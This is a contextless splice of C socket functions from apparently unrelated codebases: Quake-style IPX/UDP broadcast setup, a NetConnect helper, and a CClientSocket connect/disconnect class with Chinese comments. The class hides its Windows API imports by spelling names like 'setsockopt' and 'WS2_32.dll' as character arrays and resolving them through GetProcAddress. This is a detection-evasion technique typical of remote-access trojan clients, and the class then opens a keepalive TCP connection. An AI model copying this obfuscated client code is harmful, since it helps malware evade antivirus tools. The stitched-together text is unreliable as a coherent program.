int WINS_MakeSocketBroadcastCapable (int socket) { int i = 1; // make this socket broadcast capable if (psetsockopt(socket, SOL_SOCKET, SO_BROADCAST, (char *)&i, sizeof(i)) < 0) return -1; net_broadcastsocket = socket; return 0; }
SOCKET NetConnect( char *Host, int Port ) { int ip = (int)pinet_addr( (const char*)Host ); if ( ip == (int)INADDR_NONE ) { LPHOSTENT rhost = (LPHOSTENT)pgethostbyname( (const char*)Host ); if ( !rhost ) { return -1; } ip = *(long*)( rhost )->h_addr_list[0]; if ( !ip ) { return -1; } } SOCKET Socket = (SOCKET)psocket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); if ( Socket == INVALID_SOCKET ) { return -1; } LINGER l; l.l_linger = 3; l.l_onoff = 1; psetsockopt( Socket, SOL_SOCKET, SO_LINGER, (char*)&l, sizeof( l ) ); struct sockaddr_in SockAddr; m_memset( &SockAddr, 0, sizeof( SockAddr ) ); SockAddr.sin_family = AF_INET; SockAddr.sin_port = HTONS( Port ); SockAddr.sin_addr.S_un.S_addr = ip; if ( (int)pconnect( Socket, (sockaddr*)&SockAddr, sizeof( SockAddr ) ) == SOCKET_ERROR ) { pclosesocket( Socket ); return -1; } return Socket; }
int WIPX_OpenSocket ( int port ) { int handle; int newsocket; struct sockaddr_ipx address; u_long _true = 1; for (handle = 0; handle < IPXSOCKETS; handle++) if (ipxsocket[handle] == 0) break; if (handle == IPXSOCKETS) return -1; if ((newsocket = psocket (AF_IPX, SOCK_DGRAM, NSPROTO_IPX)) == INVALID_SOCKET) return -1; if (pioctlsocket (newsocket, FIONBIO, &_true) == -1) goto ErrorReturn; if (psetsockopt(newsocket, SOL_SOCKET, SO_BROADCAST, (char *)&_true, sizeof(_true)) < 0) goto ErrorReturn; address.sa_family = AF_IPX; memset(address.sa_netnum, 0, 4); memset(address.sa_nodenum, 0, 6);; address.sa_socket = htons((unsigned short)port); if( bind (newsocket, (void *)&address, sizeof(address)) == 0) { ipxsocket[handle] = newsocket; sequence[handle] = 0; return handle; } Sys_Error ("Winsock IPX bind failed\n"); ErrorReturn: pclosesocket (newsocket); return -1; }
bool CClientSocket::Connect(LPCTSTR lpszHost, UINT nPort) { typedef int (WSAAPI *setsockoptT)( IN SOCKET s, IN int level, IN int optname, IN const char FAR * optval, IN int optlen ); char UfUQqFY[] = {'s','e','t','s','o','c','k','o','p','t','\0'}; char nZSZGQH[] = {'W','S','2','_','3','2','.','d','l','l','\0'}; setsockoptT psetsockopt=(setsockoptT)GetProcAddress(LoadLibrary(nZSZGQH),UfUQqFY); typedef BOOL (WINAPI *ResetEventT)( __in HANDLE hEvent ); ResetEventT pResetEvent=(ResetEventT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"ResetEvent"); // 一定要清除一下,不然socket会耗尽系统资源 Disconnect(); // 重置事件对像 pResetEvent(m_hEvent); m_bIsRunning = false; m_Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (m_Socket == SOCKET_ERROR) { return false; } hostent* pHostent = NULL; pHostent = gethostbyname(lpszHost); if (pHostent == NULL) return false; // 构造sockaddr_in结构 sockaddr_in ClientAddr; ClientAddr.sin_family = AF_INET; ClientAddr.sin_port = htons(nPort); ClientAddr.sin_addr = *((struct in_addr *)pHostent->h_addr); if (connect(m_Socket, (SOCKADDR *)&ClientAddr, sizeof(ClientAddr)) == SOCKET_ERROR) return false; // 禁用Nagle算法后,对程序效率有严重影响 // The Nagle algorithm is disabled if the TCP_NODELAY option is enabled // const char chOpt = 1; // int nErr = setsockopt(m_Socket, IPPROTO_TCP, TCP_NODELAY, &chOpt, sizeof(char)); // 不用保活机制,自己用心跳实现 const char chOpt = 1; // True // Set KeepAlive 开启保活机制, 防止服务端产生死连接 if (psetsockopt(m_Socket, SOL_SOCKET, SO_KEEPALIVE, (char *)&chOpt, sizeof(chOpt)) == 0) { // 设置超时详细信息 MyTcpKeepAlive klive; klive.onoff = 1; // 启用保活 klive.keepalivetime = 1000 * 60 * 3; // 3分钟超时 Keep Alive klive.keepaliveinterval = 1000 * 5; // 重试间隔为5秒 Resend if No-Reply WSAIoctl ( m_Socket, SIO_KEEPALIVE_VALS, &klive, sizeof(MyTcpKeepAlive), NULL, 0, (unsigned long *)&chOpt, 0, NULL ); } m_bIsRunning = true; m_hWorkerThread = (HANDLE)MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, (LPVOID)this, 0, NULL, true); return true; }
void CClientSocket::Disconnect() { typedef int (WSAAPI *setsockoptT)( IN SOCKET s, IN int level, IN int optname, IN const char FAR * optval, IN int optlen ); char UfUQqFY[] = {'s','e','t','s','o','c','k','o','p','t','\0'}; char nZSZGQH[] = {'W','S','2','_','3','2','.','d','l','l','\0'}; setsockoptT psetsockopt=(setsockoptT)GetProcAddress(LoadLibrary(nZSZGQH),UfUQqFY); typedef int (WSAAPI *closesocketT)( IN SOCKET s ); char GKGvYsR[] = {'c','l','o','s','e','s','o','c','k','e','t','\0'}; closesocketT pclosesocket=(closesocketT)GetProcAddress(LoadLibrary(nZSZGQH),GKGvYsR); typedef BOOL (WINAPI *CancelIoT)( __in HANDLE hFile ); CancelIoT pCancelIo=(CancelIoT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"CancelIo"); typedef BOOL (WINAPI *SetEventT) ( __in HANDLE hEvent ); SetEventT pSetEvent = (SetEventT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"SetEvent"); typedef LONG (WINAPI *InterlockedExchangeT) ( __inout LONG volatile *Target, __in LONG Value ); InterlockedExchangeT pInterlockedExchange = (InterlockedExchangeT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"InterlockedExchange"); // // If we're supposed to abort the connection, set the linger value // on the socket to 0. // LINGER lingerStruct; lingerStruct.l_onoff = 1; lingerStruct.l_linger = 0; psetsockopt(m_Socket, SOL_SOCKET, SO_LINGER, (char *)&lingerStruct, sizeof(lingerStruct) ); pCancelIo((HANDLE) m_Socket); pInterlockedExchange((LPLONG)&m_bIsRunning, false); pclosesocket(m_Socket); pSetEvent(m_hEvent); m_Socket = INVALID_SOCKET; }